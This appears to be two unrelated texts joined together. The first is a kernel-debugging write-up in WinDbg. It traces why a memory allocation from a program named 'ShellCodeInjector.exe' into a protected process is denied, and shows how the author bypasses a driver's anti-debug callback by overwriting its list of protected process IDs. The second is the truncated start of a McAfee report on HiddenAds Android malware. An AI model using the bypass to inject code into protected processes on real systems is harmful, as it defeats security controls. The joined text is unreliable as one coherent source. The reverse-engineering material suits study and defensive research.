Implicit process is now ffffc202`39807080
.cache forcedecodeuser done
PEB at 0000000000256000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         0000000000400000
    NtGlobalFlag:             0
    NtGlobalFlag2:            0
    Ldr                       00007fff9f8ba4c0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00000000005627a0 . 0000000000562ff0
    Ldr.InLoadOrderModuleList:           0000000000562910 . 0000000000562fd0
    Ldr.InMemoryOrderModuleList:         0000000000562920 . 0000000000562fe0

kd> dt _peb 0x0256000
win32k!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0 ''
   +0x003 BitField         : 0 ''
    ...
   +0x0b8 NumberOfProcessors : 1
   +0x0bc NtGlobalFlag     : 0
   +0x0c0 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
   +0x0c8 HeapSegmentReserve : 0x100000
   +0x0d0 HeapSegmentCommit : 0x2000
   +0x0d8 HeapDeCommitTotalFreeThreshold : 0x10000
   +0x0e0 HeapDeCommitFreeBlockThreshold : 0x1000
   +0x0e8 NumberOfHeaps    : 2
   +0x0ec MaximumNumberOfHeaps : 0x10
   +0x0f0 ProcessHeaps     : 0x00007fff`9f8b8d40  -> 0x00000000`00560000 Void
    ...
   +0x7c4 NtGlobalFlag2    : 0


At this point, I checked the eprocess structure.

kd> dt ffffc20239807080  _eprocess
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000fd8 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffffc202`39bc84c8 - 0xffffc202`370b54c8 ]
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000
   +0x464 Flags            : 0x144d0c01
   +0x464 CreateReported   : 0y1
   +0x464 NoDebugInherit   : 0y0
   +0x464 ProcessExiting   : 0y0
   +0x464 ProcessDelete    : 0y0
   +0x464 ManageExecutableMemoryWrites : 0y0
   +0x464 VmDeleted        : 0y0
   +0x464 OutswapEnabled   : 0y0
   +0x464 Outswapped       : 0y0
   +0x464 FailFastOnCommitFail : 0y0
   +0x464 Wow64VaSpace4Gb  : 0y0
   +0x464 AddressSpaceInitialized : 0y11
   +0x464 SetTimerResolution : 0y0
   +0x464 BreakOnTermination : 0y0
   +0x464 DeprioritizeViews : 0y0
   +0x464 WriteWatch       : 0y0
   +0x464 ProcessInSession : 0y1
   +0x464 OverrideAddressSpace : 0y0
   +0x464 HasAddressSpace  : 0y1
   +0x464 LaunchPrefetched : 0y1
   +0x464 Background       : 0y0
   +0x464 VmTopDown        : 0y0
   +0x464 ImageNotifyDone  : 0y1
   +0x464 PdeUpdateNeeded  : 0y0
   +0x464 VdmAllowed       : 0y0
   +0x464 ProcessRundown   : 0y0
   +0x464 ProcessInserted  : 0y1
   +0x464 DefaultIoPriority : 0y010
   +0x464 ProcessSelfDelete : 0y0
   +0x464 SetTimerResolutionLink : 0y0
   +0x468 CreateTime       : _LARGE_INTEGER 0x01d879aa`94a2629d
    ...
   +0x550 Peb              : 0x00000000`00256000 _PEB
   +0x558 Session          : 0xffffd280`69c5b000 _MM_SESSION_SPACE
   +0x560 Spare1           : (null) 
   +0x568 QuotaBlock       : 0xfffff806`12053800 _EPROCESS_QUOTA_BLOCK
   +0x570 ObjectTable      : 0xffff8902`0ea49180 _HANDLE_TABLE
   +0x578 DebugPort        : (null) 
   +0x580 WoW64Process     : 0xffffc202`350fed50 _EWOW64PROCESS


The DebugPort is null so seems there is no debug object linked to the target process.

At this point, I set a breakpoint on virtual alloc system call handler in kernel space when the handle is equal to the handle number used by the test case, i.e. 0xc4. In this way, I could stop the OS when the VirtualAllocEx() called by the test case enter in kernel space.

` bp /w “@ecx == 0xc4” nt!NtAllocateVirtualMemory `


So, I traced every instruction until return of the nt!NtAllocateVirtualMemory() using the command: ta fffff806`11ab6940.


RAX at the end contain the value of the ACCESS DENIED error, i.e. 0x00000000c0000022.

Looking the trace from the end, has been identified where the return value is set.

nt!ObpReferenceObjectByHandleWithTag+0x4e8:
fffff806`119f61b8 8bc7            mov     eax,edi
nt!ObpReferenceObjectByHandleWithTag+0x4ea:
fffff806`119f61ba e944fdffff      jmp     nt!ObpReferenceObjectByHandleWithTag+0x233 (fffff806`119f5f03)
nt!ObpReferenceObjectByHandleWithTag+0x233:
fffff806`119f5f03 4c8b742448      mov     r14,qword ptr [rsp+48h]
nt!ObpReferenceObjectByHandleWithTag+0x238:
fffff806`119f5f08 488b6c2450      mov     rbp,qword ptr [rsp+50h]
nt!ObpReferenceObjectByHandleWithTag+0x23d:
fffff806`119f5f0d 4883c458        add     rsp,58h
nt!ObpReferenceObjectByHandleWithTag+0x241:
fffff806`119f5f11 415f            pop     r15
nt!ObpReferenceObjectByHandleWithTag+0x243:
fffff806`119f5f13 415d            pop     r13
nt!ObpReferenceObjectByHandleWithTag+0x245:
fffff806`119f5f15 415c            pop     r12
nt!ObpReferenceObjectByHandleWithTag+0x247:
fffff806`119f5f17 5f              pop     rdi
nt!ObpReferenceObjectByHandleWithTag+0x248:
fffff806`119f5f18 5e              pop     rsi
nt!ObpReferenceObjectByHandleWithTag+0x249:
fffff806`119f5f19 5b              pop     rbx
nt!ObpReferenceObjectByHandleWithTag+0x24a:
fffff806`119f5f1a c3              ret
nt!MiAllocateVirtualMemoryPrepare+0x4e3:
fffff806`11ab73d3 448bf0          mov     r14d,eax
nt!MiAllocateVirtualMemoryPrepare+0x4e6:
fffff806`11ab73d6 85c0            test    eax,eax
nt!MiAllocateVirtualMemoryPrepare+0x4e8:
fffff806`11ab73d8 0f880e841500    js      nt!MiAllocateVirtualMemoryPrepare+0x1588fc (fffff806`11c0f7ec)
nt!MiAllocateVirtualMemoryPrepare+0x1588fc:
fffff806`11c0f7ec 488b442448      mov     rax,qword ptr [rsp+48h]
nt!MiAllocateVirtualMemoryPrepare+0x158901:
fffff806`11c0f7f1 4885c0          test    rax,rax
nt!MiAllocateVirtualMemoryPrepare+0x158904:
fffff806`11c0f7f4 740d            je      nt!MiAllocateVirtualMemoryPrepare+0x158913 (fffff806`11c0f803)
nt!MiAllocateVirtualMemoryPrepare+0x158913:
fffff806`11c0f803 418bc6          mov     eax,r14d
nt!MiAllocateVirtualMemoryPrepare+0x158916:
fffff806`11c0f806 e9327aeaff      jmp     nt!MiAllocateVirtualMemoryPrepare+0x34d (fffff806`11ab723d)
nt!MiAllocateVirtualMemoryPrepare+0x34d:
fffff806`11ab723d 488b9c24b8000000 mov     rbx,qword ptr [rsp+0B8h]
nt!MiAllocateVirtualMemoryPrepare+0x355:
fffff806`11ab7245 4883c460        add     rsp,60h
nt!MiAllocateVirtualMemoryPrepare+0x359:
fffff806`11ab7249 415f            pop     r15
nt!MiAllocateVirtualMemoryPrepare+0x35b:
fffff806`11ab724b 415e            pop     r14
nt!MiAllocateVirtualMemoryPrepare+0x35d:
fffff806`11ab724d 415d            pop     r13
nt!MiAllocateVirtualMemoryPrepare+0x35f:
fffff806`11ab724f 415c            pop     r12
nt!MiAllocateVirtualMemoryPrepare+0x361:
fffff806`11ab7251 5f              pop     rdi
nt!MiAllocateVirtualMemoryPrepare+0x362:
fffff806`11ab7252 5e              pop     rsi
nt!MiAllocateVirtualMemoryPrepare+0x363:
fffff806`11ab7253 5d              pop     rbp
nt!MiAllocateVirtualMemoryPrepare+0x364:
fffff806`11ab7254 c3              ret
nt!NtAllocateVirtualMemory+0x16a:
fffff806`11ab688a 8bd8            mov     ebx,eax
nt!NtAllocateVirtualMemory+0x16c:
fffff806`11ab688c 89442474        mov     dword ptr [rsp+74h],eax
nt!NtAllocateVirtualMemory+0x170:
fffff806`11ab6890 85c0            test    eax,eax
nt!NtAllocateVirtualMemory+0x172:
fffff806`11ab6892 7861            js      nt!NtAllocateVirtualMemory+0x1d5 (fffff806`11ab68f5)
nt!NtAllocateVirtualMemory+0x1d5:
fffff806`11ab68f5 85db            test    ebx,ebx
nt!NtAllocateVirtualMemory+0x1d7:
fffff806`11ab68f7 7855            js      nt!NtAllocateVirtualMemory+0x22e (fffff806`11ab694e)
nt!NtAllocateVirtualMemory+0x22e:
fffff806`11ab694e 4883bc240001000000 cmp   qword ptr [rsp+100h],0
nt!NtAllocateVirtualMemory+0x237:
fffff806`11ab6957 0f84578d1500    je      nt!NtAllocateVirtualMemory+0x158f94 (fffff806`11c0f6b4)
nt!NtAllocateVirtualMemory+0x158f94:
fffff806`11c0f6b4 ff05eeee4300    inc     dword ptr [nt!MiState+0x1f28 (fffff806`1204e5a8)]
nt!NtAllocateVirtualMemory+0x158f9a:
fffff806`11c0f6ba e93a72eaff      jmp     nt!NtAllocateVirtualMemory+0x1d9 (fffff806`11ab68f9)
nt!NtAllocateVirtualMemory+0x1d9:
fffff806`11ab68f9 4983fe02        cmp     r14,2
nt!NtAllocateVirtualMemory+0x1dd:
fffff806`11ab68fd 0f83bc8d1500    jae     nt!NtAllocateVirtualMemory+0x158f9f (fffff806`11c0f6bf)
nt!NtAllocateVirtualMemory+0x1e3:
fffff806`11ab6903 488b8c2498000000 mov     rcx,qword ptr [rsp+98h]
nt!NtAllocateVirtualMemory+0x1eb:
fffff806`11ab690b 4885c9          test    rcx,rcx
nt!NtAllocateVirtualMemory+0x1ee:
fffff806`11ab690e 7532            jne     nt!NtAllocateVirtualMemory+0x222 (fffff806`11ab6942)
nt!NtAllocateVirtualMemory+0x1f0:
fffff806`11ab6910 85db            test    ebx,ebx
nt!NtAllocateVirtualMemory+0x1f2:
fffff806`11ab6912 780e            js      nt!NtAllocateVirtualMemory+0x202 (fffff806`11ab6922)
nt!NtAllocateVirtualMemory+0x202:
fffff806`11ab6922 8bc3            mov     eax,ebx
nt!NtAllocateVirtualMemory+0x204:
fffff806`11ab6924 4c8d9c2480010000 lea     r11,[rsp+180h]
nt!NtAllocateVirtualMemory+0x20c:
fffff806`11ab692c 498b5b38        mov     rbx,qword ptr [r11+38h]
nt!NtAllocateVirtualMemory+0x210:
fffff806`11ab6930 498b7348        mov     rsi,qword ptr [r11+48h]
nt!NtAllocateVirtualMemory+0x214:
fffff806`11ab6934 498be3          mov     rsp,r11
nt!NtAllocateVirtualMemory+0x217:
fffff806`11ab6937 415f            pop     r15
nt!NtAllocateVirtualMemory+0x219:
fffff806`11ab6939 415e            pop     r14
nt!NtAllocateVirtualMemory+0x21b:
fffff806`11ab693b 415d            pop     r13
nt!NtAllocateVirtualMemory+0x21d:
fffff806`11ab693d 415c            pop     r12
nt!NtAllocateVirtualMemory+0x21f:
fffff806`11ab693f 5f              pop     rdi
nt!NtAllocateVirtualMemory+0x220:
fffff806`11ab6940 c3              ret


Basically, edi is set into eax at nt!ObpReferenceObjectByHandleWithTag+0x4e8 and even though there are many register movements at the end nt!NtAllocateVirtualMemory+0x220 has in RAX the value contained by edi at nt!ObpReferenceObjectByHandleWithTag+0x4e8.

Looking further back, it’s clear that edi is set to the ACCESS DENIED value.

fffff806`119f5e99 0f85ee020000    jne     nt!ObpReferenceObjectByHandleWithTag+0x4bd (fffff806`119f618d)
nt!ObpReferenceObjectByHandleWithTag+0x4bd:
fffff806`119f618d bf220000c0      mov     edi,0C0000022h
nt!ObpReferenceObjectByHandleWithTag+0x4c2:
fffff806`119f6192 8b9424b0000000  mov     edx,dword ptr [rsp+0B0h]
nt!ObpReferenceObjectByHandleWithTag+0x4c9:
fffff806`119f6199 488d4b30        lea     rcx,[rbx+30h]
nt!ObpReferenceObjectByHandleWithTag+0x4cd:
fffff806`119f619d e8ee20c1ff      call    nt!ObfDereferenceObjectWithTag (fffff806`11608290)
nt!ObpReferenceObjectByHandleWithTag+0x4d2:
fffff806`119f61a2 80bc24b800000000 cmp     byte ptr [rsp+0B8h],0
nt!ObpReferenceObjectByHandleWithTag+0x4da:
fffff806`119f61aa 0f858bb61e00    jne     nt!ObpReferenceObjectByHandleWithTag+0x1ebb6b (fffff806`11be183b)
nt!ObpReferenceObjectByHandleWithTag+0x4e0:
fffff806`119f61b0 498bcf          mov     rcx,r15
nt!ObpReferenceObjectByHandleWithTag+0x4e3:
fffff806`119f61b3 e8584ec1ff      call    nt!KeLeaveCriticalRegionThread (fffff806`1160b010)
nt!ObpReferenceObjectByHandleWithTag+0x4e8:
fffff806`119f61b8 8bc7            mov     eax,edi


Microsoft says that RDI register should be preserved by the callee and indeed it is through the calls to call nt!ObfDereferenceObjectWithTag and call nt!KeLeaveCriticalRegionThread.

RDI, is preserved in nt!ObfDereferenceObjectWithTag, even if it is never touched, pushing it on the stack and popping it at the end.

nt!ObfDereferenceObjectWithTag:
fffff806`11608290 48895c2408      mov     qword ptr [rsp+8],rbx
nt!ObfDereferenceObjectWithTag+0x5:
fffff806`11608295 4889742410      mov     qword ptr [rsp+10h],rsi
nt!ObfDereferenceObjectWithTag+0xa:
fffff806`1160829a 57              push    rdi
nt!ObfDereferenceObjectWithTag+0xb:
fffff806`1160829b 4883ec30        sub     rsp,30h
nt!ObfDereferenceObjectWithTag+0xf:
fffff806`1160829f 833d6a2daf0000  cmp     dword ptr [nt!ObpTraceFlags (fffff806`120fb010)],0
nt!ObfDereferenceObjectWithTag+0x16:
fffff806`116082a6 488bf1          mov     rsi,rcx
nt!ObfDereferenceObjectWithTag+0x19:
fffff806`116082a9 0f8525f22000    jne     nt!ObfDereferenceObjectWithTag+0x20f244 (fffff806`118174d4)
nt!ObfDereferenceObjectWithTag+0x1f:
fffff806`116082af 48c7c3ffffffff  mov     rbx,0FFFFFFFFFFFFFFFFh
nt!ObfDereferenceObjectWithTag+0x26:
fffff806`116082b6 f0480fc15ed0    lock xadd qword ptr [rsi-30h],rbx
nt!ObfDereferenceObjectWithTag+0x2c:
fffff806`116082bc 4883eb01        sub     rbx,1
nt!ObfDereferenceObjectWithTag+0x30:
fffff806`116082c0 7e14            jle     nt!ObfDereferenceObjectWithTag+0x46 (fffff806`116082d6)
nt!ObfDereferenceObjectWithTag+0x32:
fffff806`116082c2 488bc3          mov     rax,rbx
nt!ObfDereferenceObjectWithTag+0x35:
fffff806`116082c5 488b5c2440      mov     rbx,qword ptr [rsp+40h]
nt!ObfDereferenceObjectWithTag+0x3a:
fffff806`116082ca 488b742448      mov     rsi,qword ptr [rsp+48h]
nt!ObfDereferenceObjectWithTag+0x3f:
fffff806`116082cf 4883c430        add     rsp,30h
nt!ObfDereferenceObjectWithTag+0x43:
fffff806`116082d3 5f              pop     rdi
nt!ObfDereferenceObjectWithTag+0x44:
fffff806`116082d4 c3              ret


In the nt!KeLeaveCriticalRegionThread(), RDI is preserved since it is never touched.

nt!KeLeaveCriticalRegionThread:
fffff806`1160b010 4883ec28        sub     rsp,28h
nt!KeLeaveCriticalRegionThread+0x4:
fffff806`1160b014 668381e401000001 add     word ptr [rcx+1E4h],1
nt!KeLeaveCriticalRegionThread+0xc:
fffff806`1160b01c 750c            jne     nt!KeLeaveCriticalRegionThread+0x1a (fffff806`1160b02a)
nt!KeLeaveCriticalRegionThread+0xe:
fffff806`1160b01e 488d8198000000  lea     rax,[rcx+98h]
nt!KeLeaveCriticalRegionThread+0x15:
fffff806`1160b025 483900          cmp     qword ptr [rax],rax
nt!KeLeaveCriticalRegionThread+0x18:
fffff806`1160b028 7506            jne     nt!KeLeaveCriticalRegionThread+0x20 (fffff806`1160b030)
nt!KeLeaveCriticalRegionThread+0x1a:
fffff806`1160b02a 4883c428        add     rsp,28h
nt!KeLeaveCriticalRegionThread+0x1e:
fffff806`1160b02e c3              ret


At this point, it’s required to understand why nt!ObpReferenceObjectByHandleWithTag+0x4bd is executed!

nt!ExpLookupHandleTableEntry+0x30:
fffff806`119f62f0 c3              ret
nt!ObpReferenceObjectByHandleWithTag+0xef:
fffff806`119f5dbf 488bf8          mov     rdi,rax
nt!ObpReferenceObjectByHandleWithTag+0xf2:
fffff806`119f5dc2 4885c0          test    rax,rax
nt!ObpReferenceObjectByHandleWithTag+0xf5:
fffff806`119f5dc5 0f840b040000    je      nt!ObpReferenceObjectByHandleWithTag+0x506 (fffff806`119f61d6)
nt!ObpReferenceObjectByHandleWithTag+0xfb:
fffff806`119f5dcb 0f0d08          prefetchw [rax]
nt!ObpReferenceObjectByHandleWithTag+0xfe:
fffff806`119f5dce 488b08          mov     rcx,qword ptr [rax]
nt!ObpReferenceObjectByHandleWithTag+0x101:
fffff806`119f5dd1 488b6808        mov     rbp,qword ptr [rax+8]
nt!ObpReferenceObjectByHandleWithTag+0x105:
fffff806`119f5dd5 48896c2438      mov     qword ptr [rsp+38h],rbp
nt!ObpReferenceObjectByHandleWithTag+0x10a:
fffff806`119f5dda 48894c2430      mov     qword ptr [rsp+30h],rcx
nt!ObpReferenceObjectByHandleWithTag+0x10f:
fffff806`119f5ddf 4c8b742430      mov     r14,qword ptr [rsp+30h]
nt!ObpReferenceObjectByHandleWithTag+0x114:
fffff806`119f5de4 49f7c6feff0100  test    r14,1FFFEh
nt!ObpReferenceObjectByHandleWithTag+0x11b:
fffff806`119f5deb 0f84ff010000    je      nt!ObpReferenceObjectByHandleWithTag+0x320 (fffff806`119f5ff0)
nt!ObpReferenceObjectByHandleWithTag+0x121:
fffff806`119f5df1 41f6c601        test    r14b,1
nt!ObpReferenceObjectByHandleWithTag+0x125:
fffff806`119f5df5 0f8451030000    je      nt!ObpReferenceObjectByHandleWithTag+0x47c (fffff806`119f614c)
nt!ObpReferenceObjectByHandleWithTag+0x12b:
fffff806`119f5dfb 498d5efe        lea     rbx,[r14-2]
nt!ObpReferenceObjectByHandleWithTag+0x12f:
fffff806`119f5dff 488bcd          mov     rcx,rbp
nt!ObpReferenceObjectByHandleWithTag+0x132:
fffff806`119f5e02 498bc6          mov     rax,r14
nt!ObpReferenceObjectByHandleWithTag+0x135:
fffff806`119f5e05 488bd5          mov     rdx,rbp
nt!ObpReferenceObjectByHandleWithTag+0x138:
fffff806`119f5e08 f0480fc70f      lock cmpxchg16b oword ptr [rdi]
nt!ObpReferenceObjectByHandleWithTag+0x13d:
fffff806`119f5e0d 4c8bf0          mov     r14,rax
nt!ObpReferenceObjectByHandleWithTag+0x140:
fffff806`119f5e10 4889442430      mov     qword ptr [rsp+30h],rax
nt!ObpReferenceObjectByHandleWithTag+0x145:
fffff806`119f5e15 488bea          mov     rbp,rdx
nt!ObpReferenceObjectByHandleWithTag+0x148:
fffff806`119f5e18 4889542438      mov     qword ptr [rsp+38h],rdx
nt!ObpReferenceObjectByHandleWithTag+0x14d:
fffff806`119f5e1d 0f8558030000    jne     nt!ObpReferenceObjectByHandleWithTag+0x4ab (fffff806`119f617b)
nt!ObpReferenceObjectByHandleWithTag+0x153:
fffff806`119f5e23 488bd8          mov     rbx,rax
nt!ObpReferenceObjectByHandleWithTag+0x156:
fffff806`119f5e26 48d1eb          shr     rbx,1
nt!ObpReferenceObjectByHandleWithTag+0x159:
fffff806`119f5e29 6683fb10        cmp     bx,10h
nt!ObpReferenceObjectByHandleWithTag+0x15d:
fffff806`119f5e2d 0f84e4030000    je      nt!ObpReferenceObjectByHandleWithTag+0x547 (fffff806`119f6217)
nt!ObpReferenceObjectByHandleWithTag+0x163:
fffff806`119f5e33 488bd8          mov     rbx,rax
nt!ObpReferenceObjectByHandleWithTag+0x166:
fffff806`119f5e36 48c1fb10        sar     rbx,10h
nt!ObpReferenceObjectByHandleWithTag+0x16a:
fffff806`119f5e3a 4883e3f0        and     rbx,0FFFFFFFFFFFFFFF0h
nt!ObpReferenceObjectByHandleWithTag+0x16e:
fffff806`119f5e3e 833dcb51700000  cmp     dword ptr [nt!ObpTraceFlags (fffff806`120fb010)],0
nt!ObpReferenceObjectByHandleWithTag+0x175:
fffff806`119f5e45 0f852eb91e00    jne     nt!ObpReferenceObjectByHandleWithTag+0x1ebaa9 (fffff806`11be1779)
nt!ObpReferenceObjectByHandleWithTag+0x17b:
fffff806`119f5e4b 488b9424a0000000 mov     rdx,qword ptr [rsp+0A0h]
nt!ObpReferenceObjectByHandleWithTag+0x183:
fffff806`119f5e53 4c8d0da6a1a0ff  lea     r9,[nt!VrpRegistryString <PERF> (nt+0x0) (fffff806`11400000)]
nt!ObpReferenceObjectByHandleWithTag+0x18a:
fffff806`119f5e5a 488bc3          mov     rax,rbx
nt!ObpReferenceObjectByHandleWithTag+0x18d:
fffff806`119f5e5d 48c1e808        shr     rax,8
nt!ObpReferenceObjectByHandleWithTag+0x191:
fffff806`119f5e61 324318          xor     al,byte ptr [rbx+18h]
nt!ObpReferenceObjectByHandleWithTag+0x194:
fffff806`119f5e64 3205c2687000    xor     al,byte ptr [nt!ObHeaderCookie (fffff806`120fc72c)]
nt!ObpReferenceObjectByHandleWithTag+0x19a:
fffff806`119f5e6a 4885d2          test    rdx,rdx
nt!ObpReferenceObjectByHandleWithTag+0x19d:
fffff806`119f5e6d 0f8423010000    je      nt!ObpReferenceObjectByHandleWithTag+0x2c6 (fffff806`119f5f96)
nt!ObpReferenceObjectByHandleWithTag+0x1a3:
fffff806`119f5e73 384228          cmp     byte ptr [rdx+28h],al
nt!ObpReferenceObjectByHandleWithTag+0x1a6:
fffff806`119f5e76 0f851a010000    jne     nt!ObpReferenceObjectByHandleWithTag+0x2c6 (fffff806`119f5f96)
nt!ObpReferenceObjectByHandleWithTag+0x1ac:
fffff806`119f5e7c 8b8c2498000000  mov     ecx,dword ptr [rsp+98h]
nt!ObpReferenceObjectByHandleWithTag+0x1b3:
fffff806`119f5e83 81e5ffffff01    and     ebp,1FFFFFFh
nt!ObpReferenceObjectByHandleWithTag+0x1b9:
fffff806`119f5e89 80bc24a800000000 cmp     byte ptr [rsp+0A8h],0
nt!ObpReferenceObjectByHandleWithTag+0x1c1:
fffff806`119f5e91 7414            je      nt!ObpReferenceObjectByHandleWithTag+0x1d7 (fffff806`119f5ea7)
nt!ObpReferenceObjectByHandleWithTag+0x1c3:
fffff806`119f5e93 8bc5            mov     eax,ebp
nt!ObpReferenceObjectByHandleWithTag+0x1c5:
fffff806`119f5e95 f7d0            not     eax
nt!ObpReferenceObjectByHandleWithTag+0x1c7:
fffff806`119f5e97 85c1            test    ecx,eax
nt!ObpReferenceObjectByHandleWithTag+0x1c9:
fffff806`119f5e99 0f85ee020000    jne     nt!ObpReferenceObjectByHandleWithTag+0x4bd (fffff806`119f618d)
nt!ObpReferenceObjectByHandleWithTag+0x4bd:
fffff806`119f618d bf220000c0      mov     edi,0C0000022h


So the code arrive to nt!ObpReferenceObjectByHandleWithTag+0x4bd because ` ecx != eax , eax = not(ebp & 0x1FFFFFF) ` and ` rbp = [rax+8] where rax = nt!ExpLookupHandleTableEntry() `. ecx is read from the stack at [rsp+98h].

ExpLookupHandleTableEntry() returns the table entry from the handle number, in our case it would be 0xc4, and the handle table of the process that is calling VirtualAlloc().

At this, point let’s put a breakpoint on ExpLookupHandleTableEntry() return.


RAX = 0xffff89020dd77310 and *RAX+8 = 0x1ff7d6. Analyzing the handle entry table and the handle, i.e. index 0xc4, something strange appear.

kd> dt nt!_HANDLE_TABLE_ENTRY 0xffff89020dd77310
   +0x000 VolatileLowValue : 0n-4466944656595156999
   +0x000 LowValue         : 0n-4466944656595156999
   +0x000 InfoTable        : 0xc2023980`7050fff9 _HANDLE_TABLE_ENTRY_INFO
   +0x008 HighValue        : 0n2095062
   +0x008 NextFreeHandleEntry : 0x00000000`001ff7d6 _HANDLE_TABLE_ENTRY
   +0x008 LeafHandleValue  : _EXHANDLE
   +0x000 RefCountField    : 0n-4466944656595156999
   +0x000 Unlocked         : 0y1
   +0x000 RefCnt           : 0y0111111111111100 (0x7ffc)
   +0x000 Attributes       : 0y000
   +0x000 ObjectPointerBits : 0y11000010000000100011100110000000011100000101 (0xc2023980705)
   +0x008 GrantedAccessBits : 0y0000111111111011111010110 (0x1ff7d6)
   +0x008 NoRightsUpgrade  : 0y0
   +0x008 Spare1           : 0y000000 (0)
   +0x00c Spare2           : 0
kd> !handle 0xc4

PROCESS ffffc2023726c080
    SessionId: 1  Cid: 142c    Peb: 00839000  ParentCid: 113c
    DirBase: 1b1d57000  ObjectTable: ffff89020ea4cdc0  HandleCount:  55.
    Image: ShellCodeInjector.exe

Handle table at ffff89020ea4cdc0 with 55 entries in use

00c4: Object: ffffc20239807080  GrantedAccess: 001ff7d6 (Protected) (Audit) Entry: ffff89020dd77310
Object: ffffc20239807080  Type: (ffffc202314ac380) Process
    ObjectHeader: ffffc20239807050 (new version)
        HandleCount: 11  PointerCount: 354527


HighValue == 2095062 == 0x1ff7d6 at ffff89020dd77310+8 that is the granted access mask to the object, i.e. the target process. The access mask is incoherent with the one used in the test case, i.e. PROCESS_ALL_ACCESS == 0x01fffff. This could lead to access denied on virtual alloc call. The access mask means, that PROCESS_TERMINATE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_SUSPEND_RESUME are not granted so it’s impossible to allocate memory in the process!

We have at least two ways to bypass this:

  1. Trying to bypass this resetting granted access in the object handle.
  2. Understand where the access mask is modified and disable that feature.

The fastest way doing this is to intercept where the mask is changed in order to disable this once and not every time I have to attach to the process.

So, I put a breakpoint on the open process kernel implementation, i.e. nt!PsOpenProcess. bp nt!PsOpenProcess ".if ( poi(@r9) != 0xfd8) {gc}"


Let’s track the code flow until the end.

nt!ObpPreInterceptHandleCreate+0xa5:
fffff806`11a87ea5 e886fdffff      call    nt!ObpCallPreOperationCallbacks (fffff806`11a87c30)

So likely, a callback has been registered for process handle operations via ObRegisterCallbacks().

nt!ObpCallPreOperationCallbacks+0x103:
fffff806`11a87d33 488b4908        mov     rcx,qword ptr [rcx+8]
nt!ObpCallPreOperationCallbacks+0x107:
fffff806`11a87d37 e81480d7ff      call    nt!guard_dispatch_icall (fffff806`117ffd50)
nt!guard_dispatch_icall:
fffff806`117ffd50 4c8b1d111ba000  mov     r11,qword ptr [nt!guard_icall_bitmap (fffff806`12201868)]
nt!guard_dispatch_icall+0x7:
fffff806`117ffd57 4885c0          test    rax,rax
nt!guard_dispatch_icall+0xa:
fffff806`117ffd5a 0f8d7a000000    jge     nt!guard_dispatch_icall+0x8a (fffff806`117ffdda)
nt!guard_dispatch_icall+0x10:
fffff806`117ffd60 4d85db          test    r11,r11
nt!guard_dispatch_icall+0x13:
fffff806`117ffd63 741c            je      nt!guard_dispatch_icall+0x31 (fffff806`117ffd81)
nt!guard_dispatch_icall+0x31:
fffff806`117ffd81 4c8b1dc0ce8f00  mov     r11,qword ptr [nt!retpoline_image_bitmap (fffff806`120fcc48)]
nt!guard_dispatch_icall+0x38:
fffff806`117ffd88 4c8bd0          mov     r10,rax
nt!guard_dispatch_icall+0x3b:
fffff806`117ffd8b 4d85db          test    r11,r11
nt!guard_dispatch_icall+0x3e:
fffff806`117ffd8e 742e            je      nt!guard_dispatch_icall+0x6e (fffff806`117ffdbe)
nt!guard_dispatch_icall+0x6e:
fffff806`117ffdbe 0faee8          lfence
nt!guard_dispatch_icall+0x71:
fffff806`117ffdc1 ffe0            jmp     rax


The function called that implements the antidebug is quite simple and basically get the process opened pid against a list of pids to check. Indeed the anti debug module obtains the opened process pid via PsGetProcessID()

nt!PsGetProcessId:
fffff806`1166ab30                 mov     rax,qword ptr [rcx+440h]
nt!PsGetProcessId+0x7:
fffff806`1166ab37                 ret

Check it against a list of pids contained by the anti debug module self.

test    rax,rax
je      fffff806`17481093
cmp     rax,0FFFFFFFFFFFFFFFFh
je      fffff806`17481093
lea     rbx,[fffff806`174969da0]
cmp     rax,qword ptr [rbx]

If the process pid opened is in the list then the access mask is checked to have the PROCESS_SUSPEND_RESUME bit enabled if so it is zeroed.

Disable PROCESS_SUSPEND_RESUME permission 
bt      dword ptr [rdx+4], 0Bh
jae     FFFFF80617481081
btr     dword ptr [rdx], 0Bh

More over the access mask is computed doing multiple and operation that disable other things like:

Disable PROCESS_TERMINATE 
and     dword ptr [rdx], 0FFFFFFFEh
...
Disable PROCESS_VM_OPERATION 
dword ptr [rdx], 0FFFFFFF7h
...
Disable PROCESS_VM_WRITE 
dword ptr [rdx], 0FFFFFFDFh

At this point, I just changed the list of the pids in order to not enter in the code block that alters the access mask, ed fffff806`174969da0 0. Finally, I bypassed the anti debug trick.

Finally, a consideration is required: I did a mess just to found that the handle’s rights were different by the one I asked for.

New HiddenAds malware affects 1M+ users and hides on the Google Play Store

29 July 2022 at 03:32

Authored by Dexter Shin

McAfee’s Mobile Research Team has identified new malware on the Google Play Store. Most of them are disguising themselves as cleaner apps that delete junk files or help optimize their batteries for device management. However, this malware hides and continuously show advertisements to victims. In addition, they run malicious services automatically upon installation without executing the app.

HiddenAds functions and promotion

They exist on Google Play even though they have malicious activities, so the victim can search for the following apps to optimize their device.

Figure 1. Malware on Google Play
Figure 1. Malware on Google Play

Users may generally think installing the app without executing it is safe. But you may have to change your mind because of this malware. When you install this malware on your device, it is executed without interaction and executes a malicious service.

In addition, they try to hide themselves to prevent users from noticing and deleting apps. Change their icon to a Google Play icon that users are familiar with and change its name to ‘Google Play’ or ‘Setting.’

Figure 2. Hide itself by changing icons and names
Figure 2. The Malware hides itself by changing icons and names

Automatically executed services constantly display advertisements to victims in a variety of ways.

Figure 3. A sudden display of advertisements
Figure 3. A sudden display of advertisements

These services also induce users to run an app when they install, uninstall, or update apps on their devices.

Figure 4. A button to induce users to run app

Figure 4. A button to induce users to run app
Figure 4. A button to induce users to run app

To promote these apps to new users, the malware authors created advertising pages on Facebook. Because it is the link to Google Play distributed through legitimate social media, users will download it without a doubt.

Figure 5. Advertising pages on Facebook

Figure 5. Advertising pages on Facebook
Figure 5. Advertising pages on Facebook

How it works

